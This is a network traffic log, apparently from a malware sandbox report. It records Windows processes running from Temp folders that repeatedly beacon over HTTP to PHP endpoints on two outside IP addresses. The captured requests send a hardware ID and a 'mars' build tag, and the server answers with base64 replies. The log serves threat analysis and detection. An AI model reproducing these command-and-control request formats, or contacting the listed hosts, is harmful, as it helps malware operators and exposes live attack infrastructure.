Nov 11, 2024 19:53:26.869491100 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50153	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:28.461332083 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 11, 2024 19:53:29.101003885 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50154	185.215.113.206	80	6308	C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:28.586019993 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:53:29.224270105 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:53:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:53:29.227122068 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 41 44 37 32 44 46 37 37 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="hwid"62AD72DF77442409657292------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="build"mars------CBFCBKKFBAEHJKEBKFCB--
Nov 11, 2024 19:53:29.430041075 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:53:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50155	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:30.718832970 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 19:53:31.359905958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50156	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:32.874238968 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 11, 2024 19:53:33.532793999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50157	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:35.231811047 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 19:53:35.872890949 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50158	185.215.113.206	80	6664	C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:35.521635056 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:53:36.172683954 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:53:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:53:36.175108910 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKFIIDGIEHIDGCGHII Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 41 44 37 32 44 46 37 37 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 46 49 49 44 47 49 45 48 49 44 47 43 47 48 49 49 2d 2d 0d 0a Data Ascii: ------CAAKFIIDGIEHIDGCGHIIContent-Disposition: form-data; name="hwid"62AD72DF77442409657292------CAAKFIIDGIEHIDGCGHIIContent-Disposition: form-data; name="build"mars------CAAKFIIDGIEHIDGCGHII--
Nov 11, 2024 19:53:36.384078979 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:53:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50159	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:37.425750971 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 11, 2024 19:53:38.086606026 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50160	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:39.731466055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 19:53:40.368721008 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50161	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:41.895821095 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 11, 2024 19:53:42.539623022 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50162	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:44.170128107 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 19:53:44.809060097 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50163	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:46.325706005 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 11, 2024 19:53:46.969990015 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50164	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:48.606169939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 19:53:49.243191957 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50167	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:50.765124083 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 11, 2024 19:53:51.409760952 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50168	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:53.199424982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 19:53:53.835040092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50170	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:55.351259947 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 11, 2024 19:53:56.000308037 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50171	185.215.113.206	80	4028	C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:57.091697931 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:53:57.730614901 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:53:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:53:57.733028889 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECAECFCAAEBFHIEHDG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 41 44 37 32 44 46 37 37 34 34 32 34 30 39 36 35 37 32 39 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 2d 2d 0d 0a Data Ascii: ------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="hwid"62AD72DF77442409657292------DAECAECFCAAEBFHIEHDGContent-Disposition: form-data; name="build"mars------DAECAECFCAAEBFHIEHDG--
Nov 11, 2024 19:53:57.935204029 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:53:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50172	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:57.621412992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 19:53:58.257395983 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:53:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50174	185.215.113.43	80	8960	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:53:59.793025017 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 11, 2024 19:54:01.092528105 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:54:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 11, 2024 19:54:01.093770981 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:54:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 11, 2024 19:54:01.094165087 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:54:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	142.250.184.228	443	5596	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:05 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
